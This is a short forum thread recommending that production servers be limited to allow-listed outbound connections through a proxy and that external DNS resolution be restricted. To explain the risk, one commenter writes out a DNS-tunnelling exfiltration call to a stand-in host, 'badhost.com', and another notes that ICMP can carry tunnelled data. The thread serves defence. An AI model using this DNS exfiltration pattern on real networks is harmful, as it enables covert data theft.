5 ms·
This is a great reason why you should never allow unknown outgoing connections from Production. You can implement this however makes sense for you. For me, th
by jlmorton 7y ago
This is a great reason why you should never allow unknown outgoing connections from Production.
You can implement this however makes sense for you. For me, the easiest thing is to run a simple locked down proxy server, and allow only specific domains there. This makes it easy to setup whatever rules you want, allowing entire domains, or only specific hosts. And it gives you a convenient place to log entries before you lock them down.
This is also why you shouldn't allow external DNS resolution from every host in your network. It would be just as easy to move data in and out with Dnsruby::Resolver.query('base64-encoded-payload.badhost.com', 'TXT'), 255 bytes at a time.
Once everything is moving through your proxy, there's no need to allow external DNS resolution from other hosts.
- zelon88 7y agoIf an attacker has the ability to send dig queries to a remote host, he can over-ride anything you put in place on the host to prevent external DNS queries. Also, most of this traffic is still unencrypted and dig'ging strange severs is noisy as hell. I'm pretty sure (famous last words) that most entry-level firewalls would flag this out of the box. If they don't, they should. Still upvoted you though. This is an exfiltration technique that is really easy to spot and not widely known about.
- jlmorton 7y agoRight, worry about outgoing traffic first, and DNS resolution second. And this goes for all traffic. Even ICMP can used to tunnel data.